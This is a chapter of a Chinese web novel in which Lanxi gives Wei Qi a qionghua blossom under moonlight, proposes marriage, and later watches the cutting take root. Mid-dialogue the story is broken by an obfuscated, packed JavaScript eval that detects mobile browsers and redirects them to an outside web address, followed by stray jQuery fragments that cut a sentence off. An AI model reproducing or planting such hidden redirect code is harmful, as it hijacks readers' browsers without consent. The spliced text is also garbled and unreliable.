16. 且听春

作品:《找个眼瞎的夫君不容易

    卫祁的声音很轻,带着理所当然的依赖,兰溪听了立刻点点头同意:“好,你等一会。”


    兰溪转头走到柳梢和青羽面前:“师姐,青羽,我今天要回去了,这河畔不安全,趁着现在没事,你们也快走吧,有什么事,我们明天再联系。”


    柳梢张张嘴想说什么,但又看了一眼站在兰溪后面等待的卫祁,看他那张无辜的脸,话到嘴边又咽下去。


    “……行。”柳梢叮嘱一句:“你自己记得小心吧。”


    青羽在旁边拼命点头,一个字也不敢多说。


    看着兰溪和卫祁走远的身影淹没在夜色里,柳梢搓了搓胳膊上的鸡皮疙瘩,喃喃一句。


    “苍天啊,我师妹这么老实本分的女人,怎么遇上他了?”


    *


    兰溪和卫祁走在回琼花巷小院的路上,月光洒在青石板上,把两个人的影子拉得很长。


    卫祁安静地跟在兰溪身后,像个听话的影子,巷子很深,两边的老墙上爬满青苔,兰溪走着走着,突然停下了脚步。


    “咦!”兰溪仰起头,看向高处。


    琼花巷的琼花开了,满巷花树,花开过墙头,坠在枝头上,像一条银辉的带子,白茫茫一片,分不清是花是月还是雾。


    其中有一棵老树长在巷子深处,正对他们的院子门口,盛大的花树抽出万千枝条,琼苞蓬蓬地撑开一片天。


    夜风拂过,千朵万朵,堆云砌雪,整条巷子像无数只白蝶在风中颤动。


    花瓣颤动,簌簌落了下来,像一场没有尽头的雪。


    “真美!”兰溪仰头看花,喃喃道。


    兰溪脑子里突然想到了那个幻境,漫天花雨,白衣青衫的神祇,还有她折琼花别在他耳边的瞬间。


    “古人说,琼花是天上之仙,不是人间凡花。”兰溪感叹。


    随后她又叹气:“可惜琼花的花期很短,左右不过十日……这么美的花,真是舍不得它落。”


    身后传来一声低笑,卫祁的声音从身后传来。


    “想要花留有何难?这世上,想要人留……才是最难。”


    他这一句话说得轻描淡写,带着一丝听不懂的意味,兰溪回头看向卫祁。


    他就站在几步之外,月光从花隙里漏下来,细碎的银箔把他整个人镀上淡淡的银辉,墨发披散,素衣清隽,满树琼花,不及他好看。


    不知怎的,兰溪脑海里那个幻境里的春神和眼前的卫祁重叠,一个是万千人跪拜的遥远神明,一个就站在他面前,眉眼里带着熟悉的温柔。


    “卫郎。”兰溪开口。


    卫祁抬眼看过来,兰溪转过身,踮起脚,从低垂的枝头上折下一朵开得最好的花。


    那一朵花莹白如玉,凉凉的,软软的,像是鞠了一捧月光在手心。


    兰溪捧着那朵月光,走到他面前,仰头看他。


    “都说琼花有仙人之姿。”她声音轻轻的:“我第一次见你时,就觉得你像天上的郎君下凡。”


    兰溪把花递过去:“这花,也堪配你。”


    卫祁低头看她,兰溪眼睛亮亮的,那朵花被她攥在手里,花瓣微微颤着。


    他没有说话,只是伸出手接过了那朵花。


    兰溪见他还没开口,鼓起勇气把话说了下去:“你收了我的花,可否听我说一件事?”


    兰溪没等卫祁回答,抬起手腕,把一直戴着的那颗妖丹亮出来,明黄色的珠子在夜色下还留着光晕。


    “今天我遇到一个修士,才知道这珠子不是凡物,那修士愿意出高价来买,我便想回来和你商量。”


    兰溪顿了顿,深吸一口气,把一直在心底里酝酿的话全部说出来。


    “或许我们可以把这颗珠子卖出去,卫郎,你是读书人还尚未有功名,想必也需要钱财度日,若你愿意接受……把这珠子换了钱,从倚香阁里赎了我的身,往后……往后我们一起过日子。”


    夜色中琼花静静开着,月光洒在这方小巷,兰溪的声音很低,低到要被风吹散。


    她抬头看着卫祁:“你没有成婚,我可以和你成婚。”


    这一句话说出来时,兰溪感觉自己心跳得快炸了。


    虽然不是什么情话,但对兰溪来说,这已经是她能说出口的,最勇敢的话了。


    卫祁没有说话。


    他就那样看着她,看了很久很久,月光在他的眼底流转,仿佛相隔了万古长夜的寂静,而他只存活在这一刻的间隙。


    兰溪从他的脸上看不出其他表情,悬着的心一点一点地往下沉。


    他终于开口,目光落在兰溪的脸上像是在留恋什么,声音很轻,像是在叹息。


    “兰姑娘,我是坏人,你该走才是。”


    兰溪愣住了,她想过他会拒绝或者犹豫,或者有其他的顾虑,可是她没想过他会这样说。


    “坏人怎么会说自己是坏人呢?”兰溪摇摇头有些固执:“坏人只会说自己是好人……”


    她还想再说些什么,可是一对上卫祁的眼睛,就什么也说不出来了。


    他应该是不愿意的吧?还想出坏人这个说辞,是不是只是在给她留面子?


    兰溪突然觉得眼眶有些发酸。


    她垂下眼,声音很闷:“是我唐突了,卫郎……只当我没说过吧。”


    兰溪转身就走,步子又快又急。


    可她刚走两步,衣角就被人拽住,卫祁的力道很轻,攥着衣角的指节,却又微微收紧。


    兰溪却没回头,低着头不说话,她洗了吸鼻子,蹲了下去,把脸埋进膝盖里。


    太丢人了!


    兰溪活了这么大,第一次主动跟人说这种事,就这个下场。


    身后传来轻轻的脚步声,卫祁也在她面前蹲下。


    兰溪感觉有一只手,轻轻覆在她的发顶,她抬起头,看着月光下他近在咫尺的脸。


    卫祁长睫微颤,压着她看不懂的复杂情绪。


    他抬起手,目光落在她的脸上,蜷起指节极轻柔地抹去她眼尾的泪痕,嘴角弯起一个淡淡的弧度。


    “我这样的人……有什么好的?”他声音很低,微微沙哑。


    “我愿意,我就是愿意。”兰溪带着鼻音,一时带上脾气倔强起来。


    卫祁看着她,看她红红的眼眶,一副不管不顾的表情。


    他突然笑了,浅浅一笑,带着些无可奈何。


    “我应你便是。”


    兰溪被他轻轻拉起来,懵懵地走了两步。


    她这才反应过来,猛然抬头。


    “你刚刚说什么?”


    “答应。”他说。


    “答应什么?”兰溪不依不饶。


    卫祁没有回头,声音从前面传来,带着笑意。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224783|197259||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “成婚。”


    兰溪这才满意了,脸有些微红,被他牵着走回去,看着他的背影,墨发在夜风中微微飘动。


    *


    兰溪蹲在院子里,表情有些惊奇地盯着墙角冒头的一点嫩枝。


    那是那晚她折给卫祁的琼花。


    那夜回来后,卫祁就很珍重地把那枝花插在墙角养着,兰溪当时还笑他,说琼花哪是那么容易养活的,插枝能活的那是柳树。


    她本来没抱任何希望,可过了几天,她起来一看,那枝条上竟冒出了一点嫩芽。


    “还真活了。”兰溪凑近仔细看着。


    那枝条开始扎根在土壤里,卯着劲儿冒出一点嫩芽,墙角的那株藤蔓,不知道什么时候也过来凑热闹。


    藤蔓小心翼翼地探出一根细嫩的触须,轻轻地搭在那株琼花幼枝的嫩叶上,带着试探的好奇。


    兰溪看着这一幕,觉得很好笑,这个世界的植物比她想的更神奇,更有生命力。


    兰溪站起身,看着墙角这两株奇奇怪怪的植物,一株不知道从哪里冒出来的食肉藤蔓,一株是本该活不了的琼花插枝。


    他们就这样挤在同一个墙角,一起晒着太阳,像两个相依为命的怪东西。


    就像她和卫祁一样,在小院住着的这些天,邻居的妇人再也没在门口闲坐过,几乎是看看他们就躲,像避着什么不干净的东西。


    兰溪懒得计较这些,她觉得这个院子很好,很清静,还有琼花树开得盛大漂亮。


    她抬起头,看向巷子深处的那棵老琼花树,满树的花依旧开着,白得像一树雪。


    “卫郎。”兰溪回头喊了一声。


    卫祁正坐在院子里的小凳上,面前放着一个木盆,水里泡着一些蔬菜,他低着头,不紧不慢地洗菜,阳光落在他的侧脸,柔和俊美得像画一样。


    听到兰溪喊他,他抬起眼。


    兰溪指着那花树道:“你说,咱们成婚的时候,这花树能开到那时候吗?”


    卫祁顺着她指的方向看了一眼,又低下头继续洗菜。


    “它会开的。”他淡淡回答。


    兰溪眨眨眼,开玩笑道:“你怎么知道?就这么笃定吗?”


    卫祁却没有回答,兰溪也不追问,只是又看一眼那花树,心里多了几分期待。


    “要是真能开到那个时候就好了……”


    兰溪转过身,想进屋拿些东西,却听见身后传来卫祁的声音。


    “你很喜欢吗?”


    兰溪停住,回头看他,卫祁还在低头洗菜,像是随口一问。


    兰溪想了想,走回他身边,蹲下来,拖着腮看着他洗菜,他的手指修长又骨节分明,冷白的皮肤浸在凉水里,指尖微微泛红。


    “也不是说多喜欢花。”她道:“我就是觉得……成婚的时候应该要美一些,要有花点缀着,才像那么回事。”


    卫祁把洗好的菜整整齐齐码放在旁边的篮子上,听了这话,手上动作顿了顿。


    就在这时,院门被敲响。


    “咚咚咚。”


    兰溪站起身,拍拍裙子上的灰,朝门口走去。


    “谁啊?”


    兰溪拉开门,发现门外站着的是青羽。


    “兰……兰溪姐姐,我来了。”青羽结结巴巴开口,眼睛却先越过她,一个劲儿地往院子里先瞟了一眼。